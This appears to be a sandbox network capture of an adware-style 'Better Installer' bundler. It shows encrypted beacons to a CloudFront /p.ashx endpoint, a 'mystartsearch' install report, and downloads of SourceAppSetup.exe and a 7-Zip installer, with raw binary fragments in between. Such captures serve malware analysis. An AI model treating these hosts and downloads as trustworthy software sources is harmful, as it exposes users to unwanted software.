X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: lJrfrtVd161mvYq7Why251NKgxbFphyaBClVn8MTb8nnpUVSJLDZ4g==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:01 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: lJrfrtVd161mvYq7Why251NKg
xbFphyaBClVn8MTb8nnpUVSJLDZ4g==......


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYipmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKVmrhDVVdaww= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: xjen9lxE7KvGiE7ozOPy4zaGExqGJ1f8cJywxb5a6gY2VTnEKC7-mg==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: zYtcUr9nrnla8bneCHgyXc8EbWXVgVjmQRPQ6ASc2PIptp55Ta-dNQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3y7zLJF1EQs63NQFKTd3L/Kt8x6kEY4pNtaXj6719HofA6J5 vpfRM HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tv6TmuVkceG7YCRC-mSR0ppHBK43Nvtd9tJWJI1uN-B5YTVArsOlfQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdry399QCDORXJ6VdhY7lmet4gUmCToGzJO3mE1Cb/I uCEIzzgG5sHJ7aitb9T2k1gSd7mFoc4Utgp3lKUo42BvPCdlJGm 5eEq4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:01 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5iFsjy-BsCrH6XaUUdr8gpXD5mqoCMliaao3lg2H7NBWckZnZtYV2Q==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMrhOrI7ufq4FE8nd B8zyXMKlr69zlJAit74VReywqQWSxiwH06wI q HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: n2_pBm_UZjmPRUXN69Fqz1mZ4QdeaZQRyTLYh1gIqIPRfZdm32EfYg==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxMOD1JqSN m3VULKr5vfVH4qYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8TSIHCfNq76Ibn9nr-LF-sSjQP0GA0Xi-jTCYm7OAlS88C5C9KZOJQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Uq4IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7ZtVHNATeSMS HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tzLtnoImlYvQhAlmXsZTjHfh-xc6MELBFO0nQ623n65x6oVXdwtGTQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ/GeYFMwARwv3X0lyNq3ZuENxiFmqD47bQhbRl /mT WqX4Lr7R/LsBVT8ZD/qVCe8s7ryaZlSWLio96KQrvxHzFtz73aJdyQ XPqCqZFMnCKFXCDA1RTqWUwQJJmLrMt3APEDTT1dRPGd5f/T6ihAobKcP 39NITxafZWAq087ncOrjfwSjyvAwJqLk4UIb2TaxssRsAbnEbhoWXXw3kpJQWauk8 c9QQ8qnwwuYDEFATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: b_CJJstEvELorp9k_lJF1nbjeHfs3-JHPxHRjeuIzWMpWU8FtfGypQ==
....


GET /p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tMbj4tIX_Sl8K4lxfCoQRP39i9PUJN-edKFyqnVZG4ff4tnp-ra4kw==
....


GET /p.ashx?e=/k6kR j50tpQhScA1jb3T41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF3kQFMBsA Vt4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Hdb3QVc9usIl2TUV7MYxv_ycdsVkCuW1GI44ySjaPYVKyX4upufWeg==
....


GET /p.ashx?e=m/KydUClS9fHiNdSCLSbR5wFJfH9UbKsQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W6Sm/NUmuZILaKig fkRtZI3fHrFM BTeUYvjTZAc5pSYCpHZc9ZUaHCsX Z/ryLWwQy9IgZy5lJKYX3Ti/i3YP62O0yjhYNJveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: G70Ns1Vi5kCc47xCcjX2nOGfCZqZGKqs6kFidveHQb4U_zskg3XM4w==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:02 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: G70Ns1Vi5kCc47xCcjX2nOGfC
ZqZGKqs6kFidveHQb4U_zskg3XM4w==......


GET /p.ashx?e=KC46TpkJIZzvtemz1TdLVimVSxD0vRfV7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlkiqa1CzzkCQXCfGg4gcTppNB3Tmp8 xhs IILilpWF23BICZd3Qj2WVSXL3FiMLd94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4cRt5SusbiWA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:10 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: GF-cVtImSyk2fo0u32wgFSmIQgovlGH8gmmCiagaxJdNSYKk4KlbCQ==
....


GET /p.ashx?e=aQQpsP6/AW3r A4x0AgNXZVvxobzfh8zhk54WlPhjC94E7mrr1h80v8gl1CzC7piUA7dl9owwhJBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1P77DGVW/zPIk lWLUtT/Ob8PRD2wFYfQncbtSRl8JQU7AqseDL gzy2cp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Uq4IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7ZtVHNATeSMS HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:21 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: YcfdloKZJFu_PzkZwpOsBPOB9dgltVtpU0roasirkOuMXISSW42PkA==



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=138810-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 971666
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:01:04 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.50 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:01:04 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.50 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=291584-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 291584-583167/583168
Content-Length: 291584
Connection: keep-alive
...v5...\U..G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.
....WE.3h....).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=..
..fM.F.....z...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9..
...U.....?.'......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<
.D..v.).i<:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<3
6..c}t..;....j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....
}.EeL..R....5"...(......../.....W..~..].@.. [email protected]%
.Y...r]a.b.......)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..
k...r.....IaPJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N
..'.4.......'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e..
.......D....Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q...
......#....@$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|
..D......@[email protected]....\<1.|.*...m&g
t;....o#.@..&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1....
.....x..n.O|.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].
.e.d.,...g.=}4n......aH...a.....`..v.......'@...<R.L......."J(..##.
.nV'..f../V...w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F..
.........M.....m.G.........s..X...|.......;......2..B..AAu4..Wu..B...l
f..........BUw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..
C..=...a..z.....G..?..i-.2.....hD..?....^?..B........~.....>]......
..G0...F....'][email protected].......)..W.r.=.ò....l.r
.z..........7..e. \$D.......t.......[.Z..N2.......%[email protected]...<.
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277619-555238
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 277620
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1453
content-transfer-encoding: binary
Cache-Control: max-age=457993, public, no-transform, must-revalidate
Last-Modified: Thu, 12 Feb 2015 11:12:42 GMT
Expires: Thu, 19 Feb 2015 11:12:42 GMT
Date: Sat, 14 Feb 2015 04:01:57 GMT
Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015021
2111242Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150212111242Z....20150219111242Z0...*.H........
.....C....W.........c..4.`...h...{DL!...ky..=........>........:GM..
